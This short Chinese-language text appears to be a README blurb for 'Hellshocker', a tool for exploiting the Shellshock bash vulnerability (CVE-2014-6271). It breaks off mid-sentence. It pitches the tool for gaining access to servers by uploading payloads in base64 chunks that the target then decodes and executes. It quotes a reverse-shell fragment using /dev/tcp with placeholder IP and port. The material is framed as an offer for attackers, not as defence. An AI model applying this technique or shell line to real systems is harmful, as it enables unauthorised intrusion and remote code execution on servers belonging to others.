CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...